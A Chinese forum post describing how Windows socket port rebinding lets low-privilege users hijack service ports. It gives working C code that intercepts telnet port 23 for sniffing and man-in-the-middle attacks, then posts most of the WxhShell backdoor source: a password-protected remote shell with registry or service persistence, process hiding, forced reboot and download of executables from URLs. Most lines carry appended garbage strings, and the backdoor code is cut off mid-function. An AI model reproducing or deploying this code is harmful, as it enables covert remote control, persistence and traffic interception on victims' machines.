社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9779阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: e~T@~(fft  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mf#83 <&K  
nPgeLG"00  
  saddr.sin_family = AF_INET; W Qc>  
=60~UM  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <(e8sNe  
|J~eLh[d  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); hwDbs[:  
X5*C+ I=2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ow'lRHZ  
=0'q!}._!  
  这意味着什么?意味着可以进行如下的攻击: ] k8/#@19  
nD2, !71  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Wi}FY }f  
9cv]y#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) `:G%   
z>[tF5  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 5')8r ';,  
7gS1~Q4\V2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  $8BE[u|H2  
U`x bPQ  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q\3 Z|%  
M}hrO-C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {+g[l5CR[  
=)OC|?9 C\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9Of FM9(:  
=[<m[.)i  
  #include g+C!kaC)  
  #include 1SV^){5I  
  #include NS,5/t  
  #include    ag4`n:1  
  DWORD WINAPI ClientThread(LPVOID lpParam);   "XLe3n  
  int main() U^Tp6vN d  
  { Pu>N_^  C  
  WORD wVersionRequested; ^ 2u/n  
  DWORD ret; d'9:$!oz  
  WSADATA wsaData; 9><mp]E4  
  BOOL val; 5ZAb]F90  
  SOCKADDR_IN saddr; xDO7A5  
  SOCKADDR_IN scaddr; D["MUB4l  
  int err; jRpdft  
  SOCKET s; VZIR4J[\.  
  SOCKET sc; www`=)A;  
  int caddsize; )Os Lrq/  
  HANDLE mt; 1[;@AE2Y  
  DWORD tid;   8)\M:s~7&  
  wVersionRequested = MAKEWORD( 2, 2 ); *V;3~x!  
  err = WSAStartup( wVersionRequested, &wsaData ); xqHL+W  
  if ( err != 0 ) { /LQ:Sv7  
  printf("error!WSAStartup failed!\n"); $YG1z  
  return -1;  !=*.$4  
  } (a6?s{(  
  saddr.sin_family = AF_INET; 6b Z[Kt  
   #rYENR[  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u; TvS |  
7XyOB+aQO  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); lg1PE7  
  saddr.sin_port = htons(23); I 2HT2c$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Cj;/Uhs  
  { ,c)g,J9  
  printf("error!socket failed!\n"); UlQQP^Na  
  return -1; ]9S`[c$  
  } S C_|A9  
  val = TRUE; Ca$c;  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 RwTzz] M  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) X^@[G8v%  
  { qA/bg  
  printf("error!setsockopt failed!\n"); 1ZKzumF  
  return -1; R.1Xst &i  
  } M} .b" ljZ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =J |sbY"]  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <5Mrp"C[i  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }G1&]Wt_  
/4joC9\AB  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) V_L[P9  
  { Eo{EKI1  
  ret=GetLastError(); o+g4p:Mf  
  printf("error!bind failed!\n"); "6I[4U"@  
  return -1; &(&  
  } !g 0cC.'  
  listen(s,2); XSB8z   
  while(1) GF--riyfB  
  { iY.eJlfH  
  caddsize = sizeof(scaddr); :LV.G0)#  
  //接受连接请求 <Ns &b.\h6  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ->yeJTsE9  
  if(sc!=INVALID_SOCKET) Uk-HP\C"7  
  { BGjb`U#%3  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); X_70]^XL  
  if(mt==NULL) mPmB6q%)]  
  { R.7#zhC`4  
  printf("Thread Creat Failed!\n"); a%~yol0wO7  
  break; \OHv|8!EI@  
  } $+:(f{Va*  
  } =%h~/,  
  CloseHandle(mt); nN ~GP"}  
  } #Mi|IwL  
  closesocket(s); ^&:'NR  
  WSACleanup(); WaYO1*=  
  return 0; FWTx&Ip  
  }   MtG_9-  
  DWORD WINAPI ClientThread(LPVOID lpParam) +(ny|r[#  
  { 2;N@aZX  
  SOCKET ss = (SOCKET)lpParam; d~[UXQC  
  SOCKET sc; 9!t4>  
  unsigned char buf[4096]; !O\X+#j  
  SOCKADDR_IN saddr; $au2%NL  
  long num; gEKO128  
  DWORD val; qB JRS'6'9  
  DWORD ret; sA_X<>vAKJ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 kQ}s/*  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +?e}<#vd'?  
  saddr.sin_family = AF_INET; )bYez  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H%Y%fQ ~^  
  saddr.sin_port = htons(23); dB`b9)Tk0z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) IH3FK!>6  
  { <-|SIF  
  printf("error!socket failed!\n"); `)tK^[,<W  
  return -1; 98<zCSe\]  
  } VC=6uB  
  val = 100; `$9L^Yg,4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 31 ] 7z  
  { b|E/LKa  
  ret = GetLastError(); uiK:*[  
  return -1; !P"?  
  } B+D`\Nlo  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Ve14rn  
  { %vc'{`P  
  ret = GetLastError(); ^W['A]l  
  return -1; /;+,mp4  
  } :GM#&*$2<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *tAqt2{48  
  { ]7F)bIG[  
  printf("error!socket connect failed!\n"); ZW* fOaj  
  closesocket(sc); q)Je.6$#X  
  closesocket(ss); WOH9%xv  
  return -1; {U P_i2`.  
  } fNEz  
  while(1) |E|T%i^}./  
  { /'Bdq?!B&  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /\~W$.c  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s?<!&Y  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +UaO<L  
  num = recv(ss,buf,4096,0); dP3VJ3+ %  
  if(num>0) d H_2 o  
  send(sc,buf,num,0);  oUS ,+e  
  else if(num==0) nh|EZp]  
  break; Spc&X72I  
  num = recv(sc,buf,4096,0); W]~ZkQ|P  
  if(num>0) c'lIWuL)  
  send(ss,buf,num,0); B'/Icg.T  
  else if(num==0) Q=XA"R  
  break; $9m5bQcV  
  } U$EM.ot  
  closesocket(ss); <tQXK;  
  closesocket(sc); n +d J c  
  return 0 ; z9fNk%  
  } %o-jwr}O{  
WFpl1O73  
L)G">T;  
========================================================== [+7"{UvT  
Fi k@hu  
下边附上一个代码,,WXhSHELL Q^q=!/qQ  
Y(W{Jd+  
========================================================== rUvwpP"k  
2q|_Dma  
#include "stdafx.h" |Rk37P {  
4Qhx[Hv>(  
#include <stdio.h> aZC*7AK   
#include <string.h> T/5nu?v  
#include <windows.h> *<CxFy;|  
#include <winsock2.h> Obg@YIwn  
#include <winsvc.h> %g5jY%dg.r  
#include <urlmon.h> Z c<]^QR  
z}mvX .j7  
#pragma comment (lib, "Ws2_32.lib") I &cX8Tw  
#pragma comment (lib, "urlmon.lib") Cd9t{pQD4  
u-1@~Z  
#define MAX_USER   100 // 最大客户端连接数 n\ Gg6Y  
#define BUF_SOCK   200 // sock buffer eFes+i(35  
#define KEY_BUFF   255 // 输入 buffer _dY:)%[]  
o8mo=V4j  
#define REBOOT     0   // 重启 =QTmK/(|B  
#define SHUTDOWN   1   // 关机 v6KL93  
C,R,:zR  
#define DEF_PORT   5000 // 监听端口 4Z],+?.[  
H7J`]nr6  
#define REG_LEN     16   // 注册表键长度 MXh^dOWR  
#define SVC_LEN     80   // NT服务名长度 =>.DD<g"  
j@_nI~7f}  
// 从dll定义API 0ZFB4GL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^U" q|[qy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Vz k cZK  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #[C< J#;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =sL(^UISl  
6O%=G3I  
// wxhshell配置信息 I S.F  
struct WSCFG { 4'_L W?DS  
  int ws_port;         // 监听端口  s"#CkG  
  char ws_passstr[REG_LEN]; // 口令 .M}06,-  
  int ws_autoins;       // 安装标记, 1=yes 0=no ]zX\8eHp!  
  char ws_regname[REG_LEN]; // 注册表键名 M'b:B*>6  
  char ws_svcname[REG_LEN]; // 服务名 ^CO#QnB @  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 kaV%0Of]  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mMga"I9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MyK^i2eD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =tLU]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %{=4Fa(Jux  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 b,z R5R^D;  
i:\bqK  
}; 6_pDe  
pFS F[9?e>  
// default Wxhshell configuration $/MY,:*e  
struct WSCFG wscfg={DEF_PORT, o&WRta>VP  
    "xuhuanlingzhe", GsR-#tV@  
    1, -%saeX Wo  
    "Wxhshell", d 4[poi ~  
    "Wxhshell", jg7d7{{SB  
            "WxhShell Service", aYqqq|  
    "Wrsky Windows CmdShell Service", 9Zs #Ky/  
    "Please Input Your Password: ", 4p*?7g_WVH  
  1, 32TP Mk  
  "http://www.wrsky.com/wxhshell.exe", \-DM-NrZ1U  
  "Wxhshell.exe" sTJJE3TBI  
    }; cF-Jc}h  
U<1}I.hDJ  
// 消息定义模块 +'!h-x1y~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; t- !h X/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p<<6}3~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iJ5e1R8tN  
char *msg_ws_ext="\n\rExit."; ;|2U f   
char *msg_ws_end="\n\rQuit."; S6= \r{V  
char *msg_ws_boot="\n\rReboot..."; YmdsI+DbIu  
char *msg_ws_poff="\n\rShutdown..."; 2K5}3<KD/  
char *msg_ws_down="\n\rSave to "; cq- e c7  
*G8'Fjin'T  
char *msg_ws_err="\n\rErr!"; :Fw *r|  
char *msg_ws_ok="\n\rOK!"; ,P;8 }yQ  
p{+tFQy  
char ExeFile[MAX_PATH]; i.B$?cr~  
int nUser = 0; {\ A_%  
HANDLE handles[MAX_USER]; ^[k6]1h  
int OsIsNt; `#-p,NElV  
-Pv P  
SERVICE_STATUS       serviceStatus; PEMxoe<+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |p'_k(z}  
lqhHbB  
// 函数声明 /5Gnb.zN)  
int Install(void); 1uK)1%vK  
int Uninstall(void); = ?y^O0v  
int DownloadFile(char *sURL, SOCKET wsh); NdaVT5RB  
int Boot(int flag); 2 rbX8Y  
void HideProc(void); OJh+[bf"  
int GetOsVer(void); w@<<zItSo  
int Wxhshell(SOCKET wsl); (, ;MC/l  
void TalkWithClient(void *cs); ][s*~VK;  
int CmdShell(SOCKET sock); 8^&fZL',  
int StartFromService(void); ! hOOpZ f7  
int StartWxhshell(LPSTR lpCmdLine); @ J?-a m>  
wWp?HDl"M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RlG'|xaT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F(0pru4u  
a,en8+r ]  
// 数据结构和表定义 Yj|c+&Ng  
SERVICE_TABLE_ENTRY DispatchTable[] = &lOXi?&"  
{ D3,t6\m  
{wscfg.ws_svcname, NTServiceMain}, w*]_FqE  
{NULL, NULL} @]}Qh;a~  
}; Udb0&Y1^  
7lnM|nD  
// 自我安装 o.v,n1Nm  
int Install(void) s (l+{b &  
{ tSw~_s_V  
  char svExeFile[MAX_PATH]; B8P@D"u  
  HKEY key; Dg?Ho2ih  
  strcpy(svExeFile,ExeFile); @U7U?.p  
{EiG23!qV  
// 如果是win9x系统,修改注册表设为自启动 }W Bm%f  
if(!OsIsNt) { {Tjtj@-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *X"F:7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2n"*)3Qj  
  RegCloseKey(key); >?:i6&4o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qe' PAN=B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r zc 3k~@  
  RegCloseKey(key); % B7?l  
  return 0; _.s\qQ  
    } 72B zvY.  
  } #UP,;W  
} b*$o[wO9  
else { .pNq-T  
&**.naSo  
// 如果是NT以上系统,安装为系统服务 i&AXPq>`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); exa}dh/uC  
if (schSCManager!=0) j[Hg]  
{ DVeF(Y3&  
  SC_HANDLE schService = CreateService Bk@_]a  
  ( $P1d#;rb%  
  schSCManager, 'RN"yMv7l  
  wscfg.ws_svcname, }&'yt97+  
  wscfg.ws_svcdisp, 3 8ls 4v3  
  SERVICE_ALL_ACCESS, )aO!cQ{s  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -&HoR!af  
  SERVICE_AUTO_START, "1pZzad  
  SERVICE_ERROR_NORMAL, b W`)CWd  
  svExeFile, `rRg(fCN!M  
  NULL, _YD<Q@  
  NULL, fitK2d   
  NULL, [jmAMF<F  
  NULL, dzk?Zg  
  NULL >u%[J!Y;;  
  ); E!oJ0*@  
  if (schService!=0) C$EFh4  
  { d<^6hF  
  CloseServiceHandle(schService); 8?]%Q i   
  CloseServiceHandle(schSCManager); UVvt&=+4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _s=Pk[e  
  strcat(svExeFile,wscfg.ws_svcname); hPX2 Bp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ))we\I__8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5,I*F9[3  
  RegCloseKey(key); $4fjSSB~  
  return 0; //@sktHsw(  
    } (kD?},Z  
  } L2Qp6A6S  
  CloseServiceHandle(schSCManager); b~N|DKj  
} [eTck73  
} kdZ-<O7@  
>goAf`sqo  
return 1; V0wC@?  
} qoyGs}/I8  
g^|_X1{  
// 自我卸载 O,z%7><  
int Uninstall(void) 1tK6lrhj  
{ =V4_DJ(&  
  HKEY key; vzT6G/  
'@1Qx~*]e  
if(!OsIsNt) { B3i=pcef  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q'U-{~q%  
  RegDeleteValue(key,wscfg.ws_regname); 'e8d["N  
  RegCloseKey(key); @a{v>)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E].a|4sh  
  RegDeleteValue(key,wscfg.ws_regname); IcNIuv  
  RegCloseKey(key); ,J4a~fPf  
  return 0; EJiF_  
  } :8/M6-EK  
} OW5|oG  
} \c`r9H^v{  
else { R;I-IZS:  
$DMu~wwfG  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _jI)!rfb  
if (schSCManager!=0) 5&7?0h+I  
{ RM=+ZmA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xsypIbN  
  if (schService!=0) A_$Mt~qKi^  
  { W,eKQV<j  
  if(DeleteService(schService)!=0) { "{1}  
  CloseServiceHandle(schService); */@bNT9BgO  
  CloseServiceHandle(schSCManager); XVK[p=cIL  
  return 0; c`[uQXv  
  } (/UMi,Ho  
  CloseServiceHandle(schService); BsG[#4KM:  
  } KARQKFp!C>  
  CloseServiceHandle(schSCManager); LZ<( :S  
} ur_"m+  
} /Gu2@m[r  
Ik2szXh[J  
return 1; N4JL.(m){I  
} (VF4]  
jjlCi<9CQ^  
// 从指定url下载文件 ;`Ch2b1+  
int DownloadFile(char *sURL, SOCKET wsh) $/sZYsN~T  
{ |"(3]f\  
  HRESULT hr; zAdVJ58H  
char seps[]= "/"; ? Gu_UW  
char *token; _ O71r}4  
char *file; 29E@e]Y,`  
char myURL[MAX_PATH]; o\Vt $  
char myFILE[MAX_PATH]; p[+me o  
LFry?HO,D  
strcpy(myURL,sURL); Rhxm)5+  
  token=strtok(myURL,seps); [T&y5"@  
  while(token!=NULL) UyfIAC$S  
  { ~\(>m=|C:H  
    file=token; ~k_zMU-1  
  token=strtok(NULL,seps); MnsWB[  
  } v-]-wNqT  
|a~&E@0c  
GetCurrentDirectory(MAX_PATH,myFILE); JqhVD@1{  
strcat(myFILE, "\\"); a-A4xL.gm  
strcat(myFILE, file); 761"S@tf$}  
  send(wsh,myFILE,strlen(myFILE),0); )ejqE6'[  
send(wsh,"...",3,0); r}M4()9L  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LfSU Y  
  if(hr==S_OK) KQI} 5  
return 0; PL2Q!i`[o  
else ~8 a>D<b  
return 1; @G-k]IWi  
xRZT  
} tqk6m# @(  
-2~ yc2:>A  
// 系统电源模块 ]cY'6'}Hz  
int Boot(int flag) wAwH8xLU  
{ i3!$M/_]  
  HANDLE hToken; u>Kvub  
  TOKEN_PRIVILEGES tkp; ?ew]i'9(  
N=Yi :+  
  if(OsIsNt) { ^bw~$*"j#  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); vX)Y%I  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ap_+C~%+  
    tkp.PrivilegeCount = 1; ?B4QTx9B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /9^0YC;Y*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N.cRZm%  
if(flag==REBOOT) { WK5bt2x  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) EjCs  
  return 0; U.9nHo{  
} ~a|Q[tiV]  
else { !a&F:Fbm  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) <%5uzlp  
  return 0; 545xs`Q_  
} ~}l,H:jk@  
  } `I:,[3_/   
  else { +004 2Yi  
if(flag==REBOOT) { LOo#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WYUU-  
  return 0; /JY i^rZ  
} x1ex}_\  
else { ,;& PKY  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) l3$?eGGM  
  return 0; p ;01a  
} t`D@bzLC%  
} f}uCiV!?v  
"qp_*Y  
return 1; tHo/uW_~I  
} YZJP7nN  
FNO lR>0e  
// win9x进程隐藏模块 OH~qJ <  
void HideProc(void) q/ zdd3a  
{ O&%T_Zk@@  
:CHd\."%+1  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FkkB#Jk4  
  if ( hKernel != NULL ) 51usiOq  
  { $5 [RR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +t6m>IBu  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >,1LBM|0u  
    FreeLibrary(hKernel); 3xY]Lqwv  
  } (]dZ+"O{  
f>PU# D@B  
return; *mt v[  
} 4h(Hy&1C  
351'l7F\  
// 获取操作系统版本 YiMecu  
int GetOsVer(void) a#$%xw  
{ 3E9j%sYk  
  OSVERSIONINFO winfo; } 4^UVdz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;I' ["k%  
  GetVersionEx(&winfo); W5{e.eI}|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n&JP/P3Y  
  return 1; dy'?@Lj;  
  else b@Cvs4  
  return 0; 8tk`1E8!j  
} HDxw2nz*R  
&*SnDuc  
// 客户端句柄模块 !ZdUW]  
int Wxhshell(SOCKET wsl) .? / J  
{ zvj\n9H  
  SOCKET wsh; HB:i0m2fJW  
  struct sockaddr_in client; !9NAm?Fw  
  DWORD myID; F*H}5yBp_:  
2e=Hjf )  
  while(nUser<MAX_USER) $4]PN2d&  
{ gd*?kXpt  
  int nSize=sizeof(client); c^%k1pae(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +UtK2<^:o  
  if(wsh==INVALID_SOCKET) return 1; egvWPht'_  
9IV WbJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I'hQbLlG  
if(handles[nUser]==0) `$HO`d@0*R  
  closesocket(wsh); %cL:*D4oz  
else TMBdneS-s  
  nUser++; /0(KKZ)  
  } RB!E>]   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *q BZi;1  
cx) EFy.  
  return 0; }vIm C [  
} .}wir,  
!NtY4O/  
// 关闭 socket xOlkG*3c  
void CloseIt(SOCKET wsh) g11K?3*%Q  
{ g(^l>niF:  
closesocket(wsh); )2S\:&x  
nUser--; Cz%ih#^b  
ExitThread(0); 71InYIed  
} YoA$Gw2  
he #iWD'  
// 客户端请求句柄 C/=ZNl9"fn  
void TalkWithClient(void *cs) L`v,:#Y   
{ q)X&S*-<o~  
w93,N+es6  
  SOCKET wsh=(SOCKET)cs; !/SFEL@_B  
  char pwd[SVC_LEN]; ;iVyJZI  
  char cmd[KEY_BUFF]; Sz&`=x#  
char chr[1]; +Gko[<  
int i,j; 4(]k=c1<  
@U5o;X!qU  
  while (nUser < MAX_USER) { &[uGfm+@  
=v-D}eJQ=  
if(wscfg.ws_passstr) { q6dq@   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S6 *dp68  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .67W\p  
  //ZeroMemory(pwd,KEY_BUFF); >8so'7(  
      i=0; YuZnuI@m9  
  while(i<SVC_LEN) { ]M/w];:  
:%gBcL9T  
  // 设置超时 J$o J  
  fd_set FdRead; 4kiu*T  
  struct timeval TimeOut; eJ'ojc3  
  FD_ZERO(&FdRead); t@\0$V \X  
  FD_SET(wsh,&FdRead); p5\b&~ g  
  TimeOut.tv_sec=8; tx.sUu6  
  TimeOut.tv_usec=0; apXq$wWq{D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'Tn$lh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); {<lV=0]  
N*#SY$!y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G(>a LF  
  pwd=chr[0]; 6*E 7}  
  if(chr[0]==0xd || chr[0]==0xa) { eM}Xn^}  
  pwd=0; _F9 c.BH  
  break; ;%}  
  } J{Jxb1:c  
  i++; 4{TUoI6ii  
    } 4{V=X3,x  
<Ip}uy[Y  
  // 如果是非法用户,关闭 socket O;~1M3Ii  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W$W7U|Z9y+  
} tF 4"28"h  
z|Xl%8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); LS`Gg7]S  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =B\ ?(  
hn-S$3')`  
while(1) { ;rX4${h  
X!m/I i$q  
  ZeroMemory(cmd,KEY_BUFF); ty ~U~  
hikun 2  
      // 自动支持客户端 telnet标准   ji "*=i  
  j=0; lPH]fWt<  
  while(j<KEY_BUFF) { *m2:iChY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {r"HR%*u  
  cmd[j]=chr[0]; Cpl\}Qn  
  if(chr[0]==0xa || chr[0]==0xd) { lH[N*9G(  
  cmd[j]=0; rfk';ph  
  break; QL3%L8  
  } #/aWG  x_  
  j++; ^J327  
    } ^U52 *6  
S}>rsg!  
  // 下载文件 lp6GiF  
  if(strstr(cmd,"http://")) { IzG7!K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); F~m tE8B:  
  if(DownloadFile(cmd,wsh)) wXP1tM8T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J;qHw[6  
  else 0F"xU1z,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MDRSI g  
  } z~F!zigNAc  
  else { yuND0,e  
3E#acnqn*  
    switch(cmd[0]) { (g 8K?Q  
  ?/;<32cE,  
  // 帮助 !cfn%+0  
  case '?': { n[<Vj1n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {d) +a$qj  
    break; {2,V3*NF  
  } ^'}Td~(  
  // 安装 MSA*XDnN  
  case 'i': { >y1/*)O9~  
    if(Install()) wFh{\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RxqXGM`4  
    else %9IM|\ulp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^OUkFH;dG?  
    break; V r y#  
    }  `=oN&!  
  // 卸载 M$w^g8F27H  
  case 'r': { aw(P@9]  
    if(Uninstall()) DY1o!thz)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C@K@TfK!M  
    else ,+2ytN*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !=ZbBUJF  
    break; 46*?hA7@r(  
    } "kMpa]<c-6  
  // 显示 wxhshell 所在路径 bH&[O`vf  
  case 'p': { Ls9G:>'rR  
    char svExeFile[MAX_PATH]; do G&qXw  
    strcpy(svExeFile,"\n\r"); ) yjHABGJ  
      strcat(svExeFile,ExeFile); @+\OoOK<L  
        send(wsh,svExeFile,strlen(svExeFile),0); $v+g3+7  
    break; X/?3ifP6I  
    } 3o6N&bQ b  
  // 重启 Qq5)|m  
  case 'b': { ]R0^ }sI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f F?=W  
    if(Boot(REBOOT)) ifuVVFov  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Y:bvs.j  
    else { C6GYhG]  
